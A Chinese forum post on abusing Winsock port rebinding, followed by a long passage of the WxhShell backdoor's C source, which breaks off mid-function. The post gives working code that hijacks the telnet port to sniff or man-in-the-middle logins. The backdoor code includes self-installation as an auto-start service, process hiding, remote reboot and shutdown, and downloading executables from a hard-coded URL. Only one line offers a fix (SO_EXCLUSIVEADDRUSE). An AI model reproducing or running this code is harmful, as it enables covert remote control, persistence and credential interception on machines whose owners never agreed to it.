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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E3#}:6m  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~n#rATbxf  
@0q%&v0  
  saddr.sin_family = AF_INET; Mg.xGST  
iHo2=Cz  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &|7pu=  
)1a3W7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Oo<^~d2=  
r"OVu~ND  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *yqEl O  
[X.sCl|  
  这意味着什么?意味着可以进行如下的攻击: DfFsCTu  
L  &F0^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -I.OvzQ*  
w!7f*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?]}1FP  
xBhfC!AK}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 e2Sudd=' G  
Akf?BB3bC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  zE +)oQ,  
(!Q^.C_m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~A+D H  
m!s/L,iJJ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $-m`LF@  
Pe w-6u"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 p]uwGWDI  
ir<HC 'D[  
  #include ]<mXf~zg  
  #include _f%Wk>A4  
  #include lH/d#MT   
  #include    ajuwP1I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   YLSp$d4y  
  int main() Z |uII#lq  
  { 'G3B02*  
  WORD wVersionRequested; )/h~csy:~  
  DWORD ret; $D8eCjUm  
  WSADATA wsaData; \D] N*  
  BOOL val; _NAKVzo-  
  SOCKADDR_IN saddr; ]R/VE"-  
  SOCKADDR_IN scaddr; 5QU7!jb I  
  int err; Wa%Zt*7  
  SOCKET s; m/sAYF"  
  SOCKET sc; <4,>`#NEo  
  int caddsize; l|[cA}HtB  
  HANDLE mt; a_/\.  
  DWORD tid;   KwOn<0P  
  wVersionRequested = MAKEWORD( 2, 2 ); dV<|ztv  
  err = WSAStartup( wVersionRequested, &wsaData ); ;Y#~2eYCz  
  if ( err != 0 ) { :e:jILQ[  
  printf("error!WSAStartup failed!\n"); ~WK>+T,%  
  return -1; "q4c[dna  
  } r#wMd9])  
  saddr.sin_family = AF_INET; !']=7It{  
   l9XK;0R9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s.]7c CY  
E ~xK1x"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); HONrt|c  
  saddr.sin_port = htons(23); -crKBy  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w `6qT3v  
  { ZKyK#\v<  
  printf("error!socket failed!\n"); y\b.0-z  
  return -1; QIVpO /@  
  } MK 7S*N1  
  val = TRUE; 't \:@-tQ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,9gyHQ~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Fxy-_%a  
  { g5/%}8[- 2  
  printf("error!setsockopt failed!\n"); |*"uj  
  return -1; u1O?`  
  } E~]8>U?V  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -J4?Km  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^EE 3E'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y[9x\6 _E  
7Xm7{`jH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l2KR=& SX/  
  { a0OH  
  ret=GetLastError(); Asicf{HaX  
  printf("error!bind failed!\n"); ipnvw4+  
  return -1; .?9+1.`  
  } ?c0OrvM  
  listen(s,2); a02;Zl  
  while(1) K~OfC  
  { v:(_-8:F  
  caddsize = sizeof(scaddr);  @*'|8%  
  //接受连接请求 HJ]\VP9Zb  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); i/R8Gb  
  if(sc!=INVALID_SOCKET) O`U&0lKi'  
  { Oz!#);v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,T?8??bZ  
  if(mt==NULL) &mDKpYrB  
  { \[oU7r}?/V  
  printf("Thread Creat Failed!\n"); &bBK#d*-u?  
  break; 7yxZe4~|#  
  } u&1n~t`  
  } EAp6IhW{  
  CloseHandle(mt); :\x53-&hO4  
  } ;LNFPo   
  closesocket(s); Ath^UKO"  
  WSACleanup(); aPaGnP:^  
  return 0; 4A.ZMH  
  }   iD#HB o  
  DWORD WINAPI ClientThread(LPVOID lpParam) C"_f3[Z  
  { 8P.UB{QNe  
  SOCKET ss = (SOCKET)lpParam; X6%w6%su5  
  SOCKET sc; [TvH7ott'1  
  unsigned char buf[4096]; X*VHi  
  SOCKADDR_IN saddr; R:kNAtK  
  long num; Y15KaoK?  
  DWORD val; E6|!G  
  DWORD ret; > tXn9'S  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Fy5xIRyI\F  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?I&ha-."  
  saddr.sin_family = AF_INET; |3W\^4>,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .j:[R.  
  saddr.sin_port = htons(23); +ia  F$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SC)4u l%  
  { .g_B KeU  
  printf("error!socket failed!\n"); -Czq[n=0(  
  return -1; S3]Cz$  
  } s`M[/i3Nm  
  val = 100; 1C(6.7l  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3Vjuk7  
  { 8v"tOa4D7  
  ret = GetLastError(); #=UEx  
  return -1; -~ytk=  
  } Y%:FawR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <T{2a\i 4f  
  { )nU%}Z  
  ret = GetLastError(); Fv=7~6~  
  return -1; bs$x%CR  
  } jC> l<d_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rXXIpQRi$S  
  { [,)yc/{*  
  printf("error!socket connect failed!\n"); De,4r(5  
  closesocket(sc); @=q,,t$r  
  closesocket(ss); e|u|b  
  return -1; b}4k-hZL  
  } t_5b  
  while(1) cy8+@77  
  { ysD @yM,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 NKB,D$!~&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Vc|r(lM  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \)859x&(  
  num = recv(ss,buf,4096,0); n-[J+DdB  
  if(num>0)  uZ][#[u  
  send(sc,buf,num,0); }yCJ#}  
  else if(num==0) vAi NOpz#  
  break; J&%vBg^  
  num = recv(sc,buf,4096,0); E"!C3SC [  
  if(num>0) dP[l$/  
  send(ss,buf,num,0); qG3 [5lti  
  else if(num==0) jXq~ x"(  
  break; MJ'|$b}  
  } E;\XZ<E  
  closesocket(ss); ),%/T,!@  
  closesocket(sc); |E$Jt-'  
  return 0 ; 5&q@;vR  
  } {bnNY  
bG=CIa&@  
s.+2[R1HF  
========================================================== #=/eu=  
T0n=nC}<  
下边附上一个代码,,WXhSHELL %\#s@8=2u  
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========================================================== G%~=hEK0  
.kh%66:  
#include "stdafx.h" B$qmXA)ze  
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#include <stdio.h> ~8~B VwZ_  
#include <string.h> bHE'R!*  
#include <windows.h> rhY>aj  
#include <winsock2.h> .b>1u3  
#include <winsvc.h> R)?b\VK2$  
#include <urlmon.h> <(W0N|1v  
yyZH1A  
#pragma comment (lib, "Ws2_32.lib")  ,!_  
#pragma comment (lib, "urlmon.lib") |VM c,_D  
 s#om  
#define MAX_USER   100 // 最大客户端连接数 Kd^{~Wlz&z  
#define BUF_SOCK   200 // sock buffer ?z0f5<dL  
#define KEY_BUFF   255 // 输入 buffer `C"Slz::  
32jOs|<\  
#define REBOOT     0   // 重启 Rro|P_  
#define SHUTDOWN   1   // 关机 Srj%6rgsB  
k^AI7H  
#define DEF_PORT   5000 // 监听端口 s mub> V  
?6.vd]oNO  
#define REG_LEN     16   // 注册表键长度 }T%;G /W  
#define SVC_LEN     80   // NT服务名长度 8>a/x,  
{Pm^G^EP  
// 从dll定义API tdg.vYMDPC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /9dV!u!;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +4^XFPq~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZxkX\gl91  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )}L*8 LV  
YAnt}]u!"  
// wxhshell配置信息 'Y3>+7bI  
struct WSCFG { _.0c~\VA  
  int ws_port;         // 监听端口 3n9$qr= '  
  char ws_passstr[REG_LEN]; // 口令 EJY[M  
  int ws_autoins;       // 安装标记, 1=yes 0=no E 5}T_~-{  
  char ws_regname[REG_LEN]; // 注册表键名 @-~YQ@08`  
  char ws_svcname[REG_LEN]; // 服务名 *0M#{HQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8[5%l7's  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *9e T#dH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <b"ynoM.A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TN3, \qgV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T.="a2iS2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hkSpG{;7  
hKjvD.6]%  
}; 6'ye-}vD-  
WmLl.Vv=  
// default Wxhshell configuration Pi::cf>3  
struct WSCFG wscfg={DEF_PORT, Yu=4j9e_mG  
    "xuhuanlingzhe", vfzGRr  
    1, >R3~P~@30  
    "Wxhshell", _H^Ij  
    "Wxhshell", x-+[gNc 6  
            "WxhShell Service", vFY/o,b \  
    "Wrsky Windows CmdShell Service", pW O-YZ#+  
    "Please Input Your Password: ", D4'"GaCv  
  1, mtuq  
  "http://www.wrsky.com/wxhshell.exe", g(<02t!OT=  
  "Wxhshell.exe" m3XL;1y:a  
    }; B#o(21s  
kH*l83  
// 消息定义模块 V[,/Hw~d%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WpC@ nz?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yAtM|:qq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "lLt=s2>L  
char *msg_ws_ext="\n\rExit."; zNRoFz.  
char *msg_ws_end="\n\rQuit."; lqA U5K{wQ  
char *msg_ws_boot="\n\rReboot..."; K1uN(T.Ju  
char *msg_ws_poff="\n\rShutdown..."; 6,M>'s,N  
char *msg_ws_down="\n\rSave to ";  w_G/[R3  
G;615p1  
char *msg_ws_err="\n\rErr!"; @va{&i`%A7  
char *msg_ws_ok="\n\rOK!"; ` _()R`=  
q:#,b0|bv  
char ExeFile[MAX_PATH]; -_'M *-  
int nUser = 0; pr>Qu:  
HANDLE handles[MAX_USER]; ]+)z}lr8 C  
int OsIsNt; N%6jZmKip  
PYr#vOH  
SERVICE_STATUS       serviceStatus; {r.#R| 4v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m JewUc!<5  
V S2p"0$3D  
// 函数声明 vrn I Eur  
int Install(void); TveCy&  
int Uninstall(void); :Oo  
int DownloadFile(char *sURL, SOCKET wsh); "-XL Y_  
int Boot(int flag); aAO[Y"-:,Y  
void HideProc(void); qhVDC  
int GetOsVer(void); is{I5IR\/  
int Wxhshell(SOCKET wsl); Gh0H) q  
void TalkWithClient(void *cs); mB;W9[  
int CmdShell(SOCKET sock); <oV _EZ  
int StartFromService(void); u(02{V  
int StartWxhshell(LPSTR lpCmdLine); lT$Vv= M  
r S/Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }aXc,;Ps  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hd9fD[5  
xuO5|{h  
// 数据结构和表定义 N-jFA8n  
SERVICE_TABLE_ENTRY DispatchTable[] = a}`4BMi3  
{ UY j  
{wscfg.ws_svcname, NTServiceMain}, JI )+  
{NULL, NULL} \l_RyMi  
}; .rSeJZzuj  
] =b?^'  
// 自我安装 :Y y+%  
int Install(void) al=Dy60|z  
{ bj(U?$  
  char svExeFile[MAX_PATH]; eJE?H]  
  HKEY key; 2f`u?T  
  strcpy(svExeFile,ExeFile); ru3nnF_I  
s['F?GWg  
// 如果是win9x系统,修改注册表设为自启动 JO5~Vj_"  
if(!OsIsNt) { ^C>i(j&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Lcplc"C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9C[3w[G~C  
  RegCloseKey(key); MR%M[SK1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rb<aCX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3s\2 9gq  
  RegCloseKey(key); hnL"f[p@gC  
  return 0; LYGFE jS[  
    } V!c{%zd  
  } Ia)wlA02S  
} j9%u&  
else { U/yYQZ\)  
0KnlomuH2  
// 如果是NT以上系统,安装为系统服务 g6Qzkvw)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ko im@B  
if (schSCManager!=0) 1 dz&J\|E#  
{ Y%p"RB[  
  SC_HANDLE schService = CreateService !OPK?7   
  ( (Z)  
  schSCManager, R[wy{4<y  
  wscfg.ws_svcname, EU ThH.  
  wscfg.ws_svcdisp, =w".B[r  
  SERVICE_ALL_ACCESS, ~Ht[kO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8l>/ZZ.NXi  
  SERVICE_AUTO_START, L GK0V!W  
  SERVICE_ERROR_NORMAL, [[JwHM8H&  
  svExeFile, ^qiTO`lg  
  NULL, LB? evewu  
  NULL, T'\ lntN  
  NULL, {4CkF \  
  NULL, eN>=x40  
  NULL ~yt+xWV  
  ); BI;in;Ln  
  if (schService!=0) ]. 1[H~5N  
  { + R])u5c'  
  CloseServiceHandle(schService); 4xT(Uj  
  CloseServiceHandle(schSCManager); PQ@(p%   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [rU8%  
  strcat(svExeFile,wscfg.ws_svcname); Il'+^u_ <  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vrGRZa  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iK(n'X5i  
  RegCloseKey(key); Mh>^~;  
  return 0; r&0v,WSp&S  
    } azPFKg +  
  } 2aW&d=!ZV  
  CloseServiceHandle(schSCManager); S`K8e^]  
} =B*,S#r  
} jFw?Ky2  
M ,e_=aq  
return 1; >8t3a-/  
} DB:Ia5|*i  
i4'?/UPc  
// 自我卸载 kxWf1hIz0  
int Uninstall(void) %l,p />r  
{ $oq&uL  
  HKEY key; #p*{p)]HiA  
p[hA?dXn  
if(!OsIsNt) { H1 n`A#6?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MCe =RR  
  RegDeleteValue(key,wscfg.ws_regname); "^zxq5u  
  RegCloseKey(key); Z)|*mJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E$4\Yc)(AL  
  RegDeleteValue(key,wscfg.ws_regname); _4owxYSDke  
  RegCloseKey(key); <2diO=  
  return 0; }c| Xr^  
  } A"I:cw"KY  
} V\PGk<VO  
} !(w\%$|  
else { 7tUl$H;I/R  
8D)*~C'85E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -HP [IJP  
if (schSCManager!=0) \2: JX?Jw!  
{ ss236&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x76<u:  
  if (schService!=0) '2/48j X5  
  { H;G*tje/M  
  if(DeleteService(schService)!=0) { 5=., a5  
  CloseServiceHandle(schService); (3%NudkwT  
  CloseServiceHandle(schSCManager); \.9-:\'(  
  return 0; "npj%O<bd  
  } )<1M'2  
  CloseServiceHandle(schService); ] 5YG*sD4  
  } LC*@ /((  
  CloseServiceHandle(schSCManager); bxc#bl3  
} v\c.xtjI5x  
} c3`X19'%fM  
x>!#8?-h  
return 1; ts{Tk5+  
} tl CgW)<?  
fN?HF'7V  
// 从指定url下载文件 y_Bmd   
int DownloadFile(char *sURL, SOCKET wsh) g(,gg1mG  
{ v /G,  
  HRESULT hr; 9H" u\t|?  
char seps[]= "/"; x a7x 2]~-  
char *token; 06]J]  
char *file; kRTT ~  
char myURL[MAX_PATH]; X@\rg}kP  
char myFILE[MAX_PATH]; x!tCK47Yq  
[wjA8d.  
strcpy(myURL,sURL); L@ql)Lc);  
  token=strtok(myURL,seps); H--(zxK  
  while(token!=NULL) ,-vbR&  
  { -SlLX\>p  
    file=token; 0V}%'Ec<e  
  token=strtok(NULL,seps); =eDVgOZ)  
  } /V2Ih  
mG1=8{o^  
GetCurrentDirectory(MAX_PATH,myFILE); bEMD2ABm  
strcat(myFILE, "\\"); Z '/:  
strcat(myFILE, file); ]Yp;8#:1  
  send(wsh,myFILE,strlen(myFILE),0); `CUTb*{`  
send(wsh,"...",3,0); }RO Cj,|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [_^K}\/+  
  if(hr==S_OK) 54-sb~]  
return 0; E-MEMran4  
else 2Rc#{A  
return 1; Oq|RMl  
("}TW-r~  
} f*0[[J0]  
:;#^h]Q  
// 系统电源模块 KWLI7fTgj$  
int Boot(int flag) 7Fh%jRHZ`  
{ G9 ;X=c  
  HANDLE hToken; jRm v~]  
  TOKEN_PRIVILEGES tkp; !eMz;GZ  
ry*b"SO  
  if(OsIsNt) { 'Wn'BRXq3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gH,^XZe  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P@`@?kMU  
    tkp.PrivilegeCount = 1; kbN2dL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w +fsw@dK&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4@u*#Bp`|  
if(flag==REBOOT) { Ty}'A(U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %|I~8>m  
  return 0; N8@Fj!Zi  
} ==RYf*d  
else { ~dkS-6q~Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q=)$  
  return 0; fk<0~ tE  
} 9G[!"eZ}  
  } U6t>UE6k  
  else { {dH87 nt  
if(flag==REBOOT) { Y^M3m' d?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +4Aj/$%[q  
  return 0; N<zD<q  
} `+CRUdr  
else { B36_ OH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NoB)tAvw  
  return 0; yTm/P!1S  
} 2`9e20  
} 7v]>ID  
5V':3o;D__  
return 1; <~X4&E]rT_  
} ,6=j'j1#a  
M2W4 RovfR  
// win9x进程隐藏模块 z\]]d?d?;  
void HideProc(void) 6 6(|3DX  
{ i+ ]3J/J  
*39Y1+=)$$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3+%a  
  if ( hKernel != NULL ) S1p 4.qJ  
  { [_Fj2nb*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mSm:>hBd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8oK*NB29  
    FreeLibrary(hKernel); ?1T)cd*  
  } V^;2u  
2Nrb}LH  
return; /H/@7>  
} 4W5[1GE.  
84j6.\,  
// 获取操作系统版本 pX8TzmIB0  
int GetOsVer(void) 2w_[c.  
{ !'8.qs  
  OSVERSIONINFO winfo; (HbA?Aja  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9AF%Y:y  
  GetVersionEx(&winfo); S~()A*5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OyH>N/  
  return 1; io%WV%1_  
  else i/E"E7  
  return 0; Y)H~*-vGu  
} H(Pzo+k*  
 `fMdO  
// 客户端句柄模块 Q =9Ce@[  
int Wxhshell(SOCKET wsl) fUx;_GX?  
{ ', ~  
  SOCKET wsh; U2<8U  
  struct sockaddr_in client; `v?XFwnV`  
  DWORD myID; UR?biq  
;l`us  
  while(nUser<MAX_USER) ]s_,;PGU  
{ iga.B  
  int nSize=sizeof(client); e0;0X7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yAD-sy +/  
  if(wsh==INVALID_SOCKET) return 1; =\~<##sRJ  
u#!QIQW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v+d} _rCT  
if(handles[nUser]==0) 7" Qj(N  
  closesocket(wsh); 41G}d+  
else @=r YOQj |  
  nUser++; NW_i<#  
  } StLFq6BO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O{^8dwg  
~H`m"4zQ  
  return 0; i&mcM_g32  
} USd7g Oq(  
+a3H1 tt~  
// 关闭 socket <ks+JkW_  
void CloseIt(SOCKET wsh) Hq$&rNnq\  
{ {$qE>ic  
closesocket(wsh); M/?eDW/  
nUser--; &~=FX e0S  
ExitThread(0); _cvA1Q"  
} tVQq,_9C  
jRiXN %  
// 客户端请求句柄 #No3}O;"g  
void TalkWithClient(void *cs) Yo%ph%e  
{ .fFXH  
4j|IG/m  
  SOCKET wsh=(SOCKET)cs; y'L7o V?L9  
  char pwd[SVC_LEN]; FQTAkkA_!  
  char cmd[KEY_BUFF]; q"(b}3  
char chr[1];  )OHGg  
int i,j; Th_PmkvC  
B@w/wH  
  while (nUser < MAX_USER) { /_SQKpic  
ibH!bS{  
if(wscfg.ws_passstr) { hXnfZx%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A(eB\qG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PH.g+u=v  
  //ZeroMemory(pwd,KEY_BUFF); H^ 'As;R  
      i=0; n)|{tb^  
  while(i<SVC_LEN) { V82HO{ D  
[[$dPa9  
  // 设置超时 =xw+cs1,x  
  fd_set FdRead; @*Tql:Qcd^  
  struct timeval TimeOut; >piVi[`  
  FD_ZERO(&FdRead); -\<\OV:c*  
  FD_SET(wsh,&FdRead); IJ]rVty  
  TimeOut.tv_sec=8; 2OVN9_D%  
  TimeOut.tv_usec=0; -wa"&Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <*Nd%Ca  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R_^0Un([  
+Jm~Um!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z_U4Yy'NNw  
  pwd=chr[0]; +Tt.5>N  
  if(chr[0]==0xd || chr[0]==0xa) { zfrNM9C  
  pwd=0; }1 ,\ *)5  
  break; .^dtdFZ8,  
  } \&_pI2X  
  i++; po\(O8#5U  
    } 2cEvsvw>  
{8I,uQO  
  // 如果是非法用户,关闭 socket 7Q^p|;~a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); brCXimG&jo  
} 'Zs3b4n8  
{o SdVRI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6l'J!4*qY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U ,NGV0  
YdDP;, DA  
while(1) {  VBUrtx:  
GQ(*k)'a  
  ZeroMemory(cmd,KEY_BUFF); \sz*M B  
C(8VXtx_  
      // 自动支持客户端 telnet标准   .Hnhd/ c  
  j=0; d.|*sZ&3p  
  while(j<KEY_BUFF) { dbJ3E)rF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AL!ppi  
  cmd[j]=chr[0]; sZI"2[bk  
  if(chr[0]==0xa || chr[0]==0xd) { 'ZJb`  
  cmd[j]=0; EXMW,  
  break; <Drm#2x!E  
  } 0!-'4+"  
  j++; ebn3r:IU-  
    } E{0e5.{  
Q r\eT}  
  // 下载文件 +BeA4d8b  
  if(strstr(cmd,"http://")) { <6Y|vEo!N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _\=x A6!  
  if(DownloadFile(cmd,wsh)) )DmydyQ'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CBO*2?]s  
  else ",l6-<s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wPEK5=\4Ob  
  } mv>0j<C91  
  else { mPU}]1*p  
@F] w]d  
    switch(cmd[0]) { SwsJ<Dq^z  
  wFF,rUV  
  // 帮助 lz!(OO,g  
  case '?': { 6cd!;Ca  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g$ HL::  
    break; No"i6R+  
  } ul3~!9F5F  
  // 安装 Tw djBMte  
  case 'i': { 8 :WN@  
    if(Install()) Siq]Ii0F;>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XHxJzYMc  
    else >?1GJ5]\s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); udT0`6l;  
    break; fF(AvMsO  
    } O=t~.]))  
  // 卸载 ~5&B#Sm[G  
  case 'r': { #K0/ >W  
    if(Uninstall()) )w~1VcnJEp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tA^+RO4  
    else X{Fr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o{>4PZ}=g  
    break; X1d{7H8A2  
    } 5kGQf  
  // 显示 wxhshell 所在路径 w[F})u]E  
  case 'p': { 8nn g^  
    char svExeFile[MAX_PATH]; r!1f>F*dt  
    strcpy(svExeFile,"\n\r"); - . o,bg  
      strcat(svExeFile,ExeFile); Rz&`L8Bz  
        send(wsh,svExeFile,strlen(svExeFile),0); Zr1"'+-  
    break; (u ^8=#  
    } i9Beap/t$  
  // 重启 0J^Z)U>j  
  case 'b': { w+"E{#N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CcW3o"=4  
    if(Boot(REBOOT)) A +=#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VH4wsEH]  
    else { i3mw.`7  
    closesocket(wsh); )sW!s3>S>  
    ExitThread(0); pfu"vo(t_  
    } OwEV$Q  
    break; %f'=9pit  
    } gxmo 1  
  // 关机 _p0gXb1m`  
  case 'd': { vmEn$`&2t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H\V?QDn  
    if(Boot(SHUTDOWN)) ? A;RTM  
